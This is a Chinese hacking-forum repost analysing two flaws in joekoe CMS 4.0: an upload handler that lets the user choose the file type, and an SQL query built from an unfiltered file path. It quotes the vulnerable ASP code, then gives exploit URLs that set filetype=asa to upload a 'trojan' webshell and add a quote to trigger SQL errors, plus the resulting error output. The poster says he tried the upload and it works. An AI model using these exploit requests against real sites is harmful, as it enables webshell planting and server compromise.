返回列表 发帖

[转载] joekoe CMS 4.0 两个漏洞

下面是牛牛的分析。。读懂了里面的意思

所以顺便也发上来

把这个迟来的漏洞给大家看看

----------------------------------------------
乔客(joekoe) CMS 4.0 的2个高危漏洞
     前段时间读了读乔客,发现在乔客4.0版本中存在两个高危漏洞,一个上传漏

洞,可以随意上传任意文件,包括ASP,另一个是SQL注入,甚至还有返回错误信息,可

怕啊

     上传漏洞:
看\common\include\web.upload.asp 中的代码

  1. ----------------------------------------------------------------------

  2. -------------------------------------------------------------

  3. sub doPageLoad()
  4. if APP_STATUS="close" then
  5.    treeData.addItem "_status","error.message"
  6.    treeData.addItem "_message","网站暂时因关闭维护中!请稍候..."
  7.    exit sub
  8. end if
  9. up.doInit()
  10. if not upConfig.isInit then
  11.    treeData.addItem "_status","error.message"
  12.    treeData.addItem "_message","上传文件的参数不正确!"
  13. else
  14.    doPageLoadUser()
  15.    select case upConfig.channel
  16.    case "forum"
  17.     upConfig.setSaveDir(upConfig.getSaveDir&(left

  18. (ops.time.toConvertString("",10),6)&DIR_SEPARATOR))
  19.     upConfig.filename=""
  20.    case "user.face"
  21.     upConfig.filename="face_"&upConfig.userid
  22.     upConfig.setSaveDir("face"&DIR_SEPARATOR)
  23.     upConfig.filetype="gif"
  24.    case "blog.logo"
  25.     upConfig.setSaveDir("blog"&DIR_SEPARATOR)
  26.     upConfig.filetype="gif"
  27.    case else
  28.     if instr(upConfig.channel,".")>0 then
  29.      upConfig.setSaveDir(mid(upConfig.channel,1,instr

  30. (upConfig.channel,".")-1)&DIR_SEPARATOR)
  31.     end if
  32.     if instr(upConfig.fileinput,"url")>0 then
  33.      upConfig.filetype="affix"
  34.     end if
  35.    end select
  36.    if len(upConfig.getSaveDir())<3 then
  37.     treeData.addItem "_status","error.message"
  38.     treeData.addItem "_message","上传文件的参数不正确!"
  39.     exit sub
  40.    end if
  41.   
  42.    if 1=1 then
  43.     upConfig.setData "zoom.channel.width",120
  44.     upConfig.setData "zoom.channel.height",90
  45.    end if
  46.   
  47.    upConfig.setBaseDir(DIR_ROOT&DIR_UPLOAD)
  48.    upConfig.setBasePath(opsDirPath(DIR_ROOT&DIR_UPLOAD))
  49.    upConfig.setBaseURL(URL_UPLOAD)
  50.    up.doLoad()
  51. end if
  52. end sub

  53. ----------------------------------------------------------------------

  54. -------------------------------------------------------------
复制代码


这段代码通过channel判断是否给上传类型赋值,如果channel不等于forum、

user.face、blog.logo的时候判断fileinput是否包含url,如果不包含,

upConfig.filetype就不赋值,继续往下看
  1. ----------------------------------------------------------------------


  2.    if up.isPost() then
  3.     call doParseUploadData()
  4.     treeData.addItem "_status","succeed"
  5.     dim tmpFormMode,tmpFileValue,tmpThumbValue
  6.     tmpFormMode="set"
  7.     if upConfig.channel="user.face" then
  8.      tmpLinkMode="no"
  9.      tmpFileValue="#"&up.getFileInfo("filename")
  10.     else
  11.      tmpFileValue=up.getFileInfo("file.path")
  12.      select case upConfig.filetype
  13.      case "file"
  14.       tmpLinkMode="no"
  15.       'tmpFileValue=up.getFileInfo("file.path")
  16.      case "pic","spic","pics","affix","gif","jpg","jpeg","bmp","png"
  17.       tmpLinkMode="no"
  18.       tmpThumbValue=up.getFileInfo("thumb.path")
  19.      case else
  20.       tmpLinkMode="again"
  21.       tmpFormMode="append"
  22.       dim tmpFileType:tmpFileType=lcase(up.getFileInfo("filetype"))
  23.       select case tmpFileType
  24.       case "gif","jpg","jpeg","bmp","png"
  25.        tmpFileValue=""
  26.       case "swf"
  27.        tmpFileValue="[flash=350,250]upload/"&up.getFileInfo

  28. ("file.path")&"[/flash]"
  29.       case else
  30.        tmpFileValue="[download="&tmpFileType&"]upload_download.asp?

  31. id="&upConfig.fileid&"[/download]"
  32.       end select
  33.      end select
  34.     end if
  35.     treeData.addItem "_form.mode",tmpFormMode
  36.     treeData.addItem "_form.filevalue",tmpFileValue
  37.     treeData.addItem "_form.thumbvalue",tmpThumbValue
  38.    end if
  39. ----------------------------------------------------------------------
复制代码

------------------------------
这段代码判断upConfig.filetype,然后定义上传文件的后缀名,只要之前

upConfig.filetype没被赋值,且不是gif,jpg,jpeg,bmp,png,swf,就

tmpFileValue="[download="&tmpFileType&"]upload_download.asp?

id="&upConfig.fileid&"[/download]",看到这个,大家眼睛都放光了,根据用

户的定义来判断上传类型,就好比问一个要偷东西的人:“你是贼么?”,这段

代码也太XX了,估计之前也有不少人读出来了,只不过没公开而已


     SQL注入漏洞
还是在web.upload.asp中:
  1. ----------------------------------------------------------------------
  2. sub doParseUploadData()
  3. dim tmpFilePath,tmpFileType,tmpFileSize,tmpName
  4. tmpFilePath=up.getFileInfo("file.path")
  5. tmpFileType=up.getFileInfo("filetype")
  6. tmpFileSize=opsCommon.toInt(up.getFileInfo("filesize"))
  7. tmpName=up.getFileInfo("name")
  8. dim tmpChannel,tmpDataid,tmpType,tmpSQL,tmpID
  9. tmpChannel=upConfig.channel
  10. tmpDataid=0
  11. tmpType=0
  12. select case upConfig.channel
  13. case "user.face"
  14.    tmpDataid=upConfig.userid
  15.    tmpChannel="face"
  16.    tmpType=1
  17.    tmpSQL="select top 1 u_id from db_sys_upload where

  18. nsort='"&tmpChannel&"' and iid="&tmpDataid&""
  19. case "blog.logo"
  20.    tmpDataid=toInt(ops.client.getSession("user.blogid"))
  21.    if tmpDataid<1 then tmpDataid=upConfig.userid
  22.    tmpChannel="blog"
  23.    tmptype=1
  24.    tmpSQL="select top 1 u_id from db_sys_upload where

  25. nsort='"&tmpChannel&"' and iid="&tmpDataid&""
  26. case else
  27.    tmpSQL="select top 1 u_id from db_sys_upload where

  28. u_url='"&tmpFilePath&"'"
  29. end select
  30. ..........
  31. ----------------------------------------------------------------------
复制代码

---------------------------------------
看这句tmpSQL="select top 1 u_id from db_sys_upload where

u_url='"&tmpFilePath&"'",u_url来自&tmpFilePath&,而&tmpFilePath&来自

up.getFileInfo("file.path"),呵呵,没有经过任何过滤就放到SQL查询语句里

面查询了。



利用方法:
         1 .上传漏洞:很好利用,把channel变量改一下,只要不等于forum、

user.face、blog.logo就行,然后filetype改成asa,就可以光明正大的上传木马

了,具体url可以这样common/upload.asp?

channel=use&filetype=asa&filename=&fileinput=u_face&formname=&thumbname

=&thumbinput=,然后上传

         2. SQL注入漏洞:在Channel变量中加入诸如语句,比如:

common/upload.asp?

channel=use'&filetype=gif&filename=&fileinput=u_face&formname=&thumbnam

e=&thumbinput=,然后上传,就会报错
----------------------------------------------------------------------

------------------------------------------------------------

Joekoe CMS 4.0
错误信息:
select top 1 u_id from db_sys_upload where

u_url='user'/20070722031234c.gif'
原始错误:
Error #-2147217900, 第 1 行: 'c' 附近有语法错误。 Microsoft OLE DB

Provider for SQL Server
返回首页
Processed in 0.188 s, 1 queries, 54 Cache.

*-------------------------

自己试过。。上传没什么问题。。

后面的SQL。。好像已经没什么用了!!自己试吧!

[ 本帖最后由 chinanic 于 2007-8-18 09:04 编辑 ]

返回列表 回复 发帖